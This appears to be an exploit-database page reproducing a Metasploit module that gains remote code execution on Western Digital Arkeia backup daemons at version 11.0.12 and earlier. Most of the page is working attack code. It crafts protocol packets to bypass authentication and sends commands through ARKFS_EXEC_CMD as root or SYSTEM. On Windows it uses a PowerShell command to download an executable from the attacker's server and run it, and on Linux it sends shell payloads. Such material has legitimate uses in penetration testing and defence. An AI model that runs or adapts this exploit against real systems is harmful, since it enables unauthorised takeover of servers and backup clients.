发布 2015-07-13 漏洞条目

Western Digital Arkeia < 11.0.12 - Remote Code Execution (Metasploit)

Exploit Source

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::Tcp

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::EXE

include Msf::Exploit::FileDropper

def initialize(info = {})

super(update_info(info,

'Name' => 'Western Digital Arkeia Remote Code Execution',

'Description' => %q{

This module exploits a code execution flaw in Western Digital Arkeia version 11.0.12 and below.

The vulnerability exists in the 'arkeiad' daemon listening on TCP port 617. Because there are

insufficient checks on the authentication of all clients, this can be bypassed.

Using the ARKFS_EXEC_CMD operation it's possible to execute arbitrary commands with root or

SYSTEM privileges.

The daemon is installed on both the Arkeia server as well on all the backup clients. The module

has been successfully tested on Windows, Linux, OSX, FreeBSD and OpenBSD.

'Author' =>

[

'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module

'License' => MSF_LICENSE,

'References' =>

[

'Privileged' => true,

'Stance' => Msf::Exploit::Stance::Aggressive,

'Payload' =>

{

'DisableNops' => true

'Targets' =>

[

[ 'Windows',

{

'Arch' => ARCH_X86,

'Platform' => 'win',

}

[ 'Linux',

{

'Arch' => ARCH_CMD,

'Platform' => 'unix',

'Payload' =>

{

'DisableNops' => true,

'Space' => 60000,

'Compat' => {

'PayloadType' => 'cmd cmd_bash',

'RequiredCmd' => 'perl python bash-tcp gawk openssl'

}

]

'DefaultTarget' => 0,

'DisclosureDate' => 'Jul 10 2015'))

register_options(

[

Opt::RPORT(617),

OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15])

], self.class)

end

def check

connect

req = "\x00\x41"

req << "\x00" * 5

req << "\x73"

req << "\x00" * 12

req << "\xc0\xa8\x02\x74"

req << "\x00" * 56

req << "\x74\x02\xa8\xc0"

req << 'ARKADMIN'

req << "\x00"

req << 'root'

req << "\x00"

req << 'root'

req << "\x00" * 3

req << '4.3.0-1' # version?

req << "\x00" * 11

sock.put(req)

header = sock.get_once(6)

unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"

disconnect

return Exploit::CheckCode::Unknown

end

data_length = sock.get_once(2)

unless data_length && data_length.length == 2

disconnect

return Exploit::CheckCode::Unknown

end

data_length = data_length.unpack('n')[0]

data = sock.get_once(data_length)

unless data && data.length == data_length

disconnect

return Exploit::CheckCode::Unknown

end

req = "\x00\x73"

req << "\x00" * 5

req << "\x0c\x32"

req << "\x00" * 11

sock.put(req)

header = sock.get_once(6)

unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"

disconnect

return Exploit::CheckCode::Unknown

end

data_length = sock.get_once(2)

unless data_length && data_length.length == 2

disconnect

return Exploit::CheckCode::Unknown

end

data_length = data_length.unpack('n')[0]

data = sock.get_once(data_length)

unless data && data.length == data_length

disconnect

return Exploit::CheckCode::Unknown

end

req = "\x00\x61\x00\x04\x00\x01\x00\x11\x00\x00\x31\x00"

req << 'EN' # Language

req << "\x00" * 11

sock.put(req)

header = sock.get_once(6)

unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"

disconnect

return Exploit::CheckCode::Unknown

end

data_length = sock.get_once(2)

unless data_length && data_length.length == 2

disconnect

return Exploit::CheckCode::Unknown

end

data_length = data_length.unpack('n')[0]

unless data_length == 0

disconnect

return Exploit::CheckCode::Unknown

end

# ARKADMIN_GET_CLIENT_INFO

req = "\x00\x62\x00\x01"

req << "\x00" * 3

req << "\x26"

req << 'ARKADMIN_GET_CLIENT_INFO' # Function to request agent information

req << "\x00\x32\x38"

req << "\x00" * 11

sock.put(req)

header = sock.get_once(6)

unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"

disconnect

return Exploit::CheckCode::Unknown

end

data_length = sock.get_once(2)

unless data_length && data_length.length == 2

disconnect

return Exploit::CheckCode::Unknown

end

data_length = data_length.unpack('n')[0]

unless data_length == 0

disconnect

return Exploit::CheckCode::Unknown

end

req = "\x00\x63\x00\x04\x00\x00\x00\x12\x30\x00\x31\x00\x32\x38"

req << "\x00" * 12

sock.put(req)

# 1st packet

header = sock.get_once(6)

unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04"

disconnect

return Exploit::CheckCode::Unknown

end

data_length = sock.get_once(2)

unless data_length && data_length.length == 2

disconnect

return Exploit::CheckCode::Unknown

end

data_length = data_length.unpack('n')[0]

data = sock.get_once(data_length)

unless data && data.length == data_length

disconnect

return Exploit::CheckCode::Unknown

end

# 2nd packet

header = sock.get_once(6)

unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"

disconnect

return Exploit::CheckCode::Unknown

end

data_length = sock.get_once(2)

unless data_length && data_length.length == 2

disconnect

return Exploit::CheckCode::Unknown

end

data_length = data_length.unpack('n')[0]

data = sock.get_once(data_length)

unless data && data.length == data_length

disconnect

return Exploit::CheckCode::Unknown

end

# 3rd packet

header = sock.get_once(6)

unless header && header.length == 6 && header[0, 4] == "\x00\x65\x00\x04"

disconnect

return Exploit::CheckCode::Unknown

end

data_length = sock.get_once(2)

unless data_length && data_length.length == 2

disconnect

return Exploit::CheckCode::Unknown

end

data_length = data_length.unpack('n')[0]

data = sock.get_once(data_length)

unless data && data.length == data_length && data.include?('You have successfully retrieved client information')

disconnect

return Exploit::CheckCode::Unknown

end

# 4th packet

header = sock.get_once(6)

unless header && header.length == 6 && header[0, 4] == "\x00\x69\x00\x04"

disconnect

return Exploit::CheckCode::Unknown

end

data_length = sock.get_once(2)

unless data_length && data_length.length == 2

disconnect

return Exploit::CheckCode::Unknown

end

data_length = data_length.unpack('n')[0]

data = sock.get_once(data_length)

unless data && data.length == data_length

disconnect

return Exploit::CheckCode::Unknown

end

if data =~ /VERSION.*WD Arkeia ([0-9]+\.[0-9]+\.[0-9]+)/

version = $1

vprint_status("#{rhost}:#{rport} - Arkeia version detected: #{version}")

if Gem::Version.new(version) <= Gem::Version.new('11.0.12')

return Exploit::CheckCode::Appears

else

return Exploit::CheckCode::Safe

end

else

vprint_status("#{rhost}:#{rport} - Arkeia version not detected")

return Exploit::CheckCode::Unknown

end

def exploit

if target.name =~ /Windows/

@down_file = rand_text_alpha(8+rand(8))

@pl = generate_payload_exe

begin

Timeout.timeout(datastore['HTTP_DELAY']) {super}

rescue Timeout::Error

end

elsif target.name =~ /Linux/

communicate(payload.encoded)

return

end

def primer

@payload_url = get_uri

# PowerShell web download. The char replacement is needed because using the "/" character twice (like http://)

# is not possible on Windows agents.

command = "PowerShell -Command \"$s=[CHAR][BYTE]47;$b=\\\"#{@payload_url.gsub(/\//, '$($s)')}\\\";"

command << "(New-Object System.Net.WebClient).DownloadFile($b,'c:/#{@down_file}.exe');"

command << "(New-Object -com Shell.Application).ShellExecute('c:/#{@down_file}.exe');\""

communicate(command)

end

def communicate(command)

print_status("#{rhost}:#{rport} - Connecting to Arkeia daemon")

connect

print_status("#{rhost}:#{rport} - Sending agent communication")

req = "\x00\x41\x00\x00\x00\x00\x00\x70"

req << "\x00" * 12

req << "\xc0\xa8\x02\x8a"

req << "\x00" * 56

req << "\x8a\x02\xa8\xc0"

req << 'ARKFS'

req << "\x00"

req << 'root'

req << "\x00"

req << 'root'

req << "\x00" * 3

req << '4.3.0-1' # Client version ?

req << "\x00" * 11

sock.put(req)

header = sock.get_once(6)

unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"

disconnect

fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")

end

data_length = sock.get_once(2)

unless data_length && data_length.length == 2

disconnect

fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")

end

data_length = data_length.unpack('n')[0]

data = sock.get_once(data_length)

unless data && data.length == data_length

disconnect

fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")

end

req = "\x00\x73\x00\x00\x00\x00\x00\x0c\x32"

req << "\x00" * 11

sock.put(req)

header = sock.get_once(6)

unless header && header.length == 6 && header[0, 4] == "\x00\x60\x00\x04"

disconnect

fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")

end

data_length = sock.get_once(2)

unless data_length && data_length.length == 2

disconnect

fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")

end

data_length = data_length.unpack('n')[0]

data = sock.get_once(data_length)

unless data && data.length == data_length

disconnect

fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")

end

req = "\x00\x61\x00\x04\x00\x01\x00\x1a\x00\x00"

req << rand_text_numeric(10) # "1234567890" - 10 byte numerical value, like a session ID?

req << "\x00"

req << 'EN' # English language?

req << "\x00" * 11

sock.put(req)

header = sock.get_once(6)

unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"

disconnect

fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")

end

data_length = sock.get_once(2)

unless data_length && data_length.length == 2

disconnect

fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")

end

data_length = data_length.unpack('n')[0]

unless data_length == 0

disconnect

fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")

end

req = "\x00\x62\x00\x01\x00\x02\x00\x1b"

req << 'ARKFS_EXEC_CMD' # With this function we can execute system commands with root/SYSTEM privileges

req << "\x00\x31"

req << "\x00" * 11

sock.put(req)

header = sock.get_once(6)

unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00"

disconnect

fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")

end

data_length = sock.get_once(2)

unless data_length && data_length.length == 2

disconnect

fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")

end

data_length = data_length.unpack('n')[0]

unless data_length == 0

disconnect

fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unexpected length read")

end

req = "\x00\x63\x00\x04\x00\x03\x00\x15\x31\x00\x31\x00\x31\x00\x30\x3a\x31\x2c"

req << "\x00" * 11

sock.put(req)

command_length = '%02x' % command.length

command_length = command_length.scan(/../).map { |x| x.hex.chr }.join

req = "\x00\x64\x00\x04\x00\x04"

req << [command.length].pack('n')

req << command # Our command to be executed

req << "\x00"

print_status("#{rhost}:#{rport} - Executing payload through ARKFS_EXEC_CMD")

sock.put(req)

header = sock.get_once(6)

unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04"

disconnect

fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")

end

data_length = sock.get_once(2)

unless data_length && data_length.length == 2

disconnect

fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")

end

data_length = data_length.unpack('n')[0]

data = sock.get_once(data_length)

unless data && data.length == data_length

disconnect

fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")

end

# 1st Packet

header = sock.get_once(6)

unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"

disconnect

fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")

end

data_length = sock.get_once(2)

unless data_length && data_length.length == 2

disconnect

fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")

end

data_length = data_length.unpack('n')[0]

data = sock.get_once(data_length)

unless data && data.length == data_length

disconnect

fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")

end

# 2st Packet

header = sock.get_once(6)

unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04"

disconnect

fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier")

end

data_length = sock.get_once(2)

unless data_length && data_length.length == 2

disconnect

fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length")

end

data_length = data_length.unpack('n')[0]

data = sock.get_once(data_length)

unless data && data.length == data_length

disconnect

fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet data")

end

def on_request_uri(cli, request)

print_status("Request: #{request.uri}")

if request.uri == get_resource

print_status('Sending payload...')

send_response(cli, @pl)

register_files_for_cleanup("c:\\#{@down_file}.exe")

end

作者: Metasploit
日期: 2015-07-13
类别: remote
平台: multiple

相关漏洞条目

strongSwan 5.9.13 – libsimaka EAP-SIM/AKA heap buffer overflow

Wing FTP Server 8.1.3 – Authenticated Remote Code Execution

Microsoft – NTLMv2 Hash Capture

telnetd 2.7 – Buffer Overflow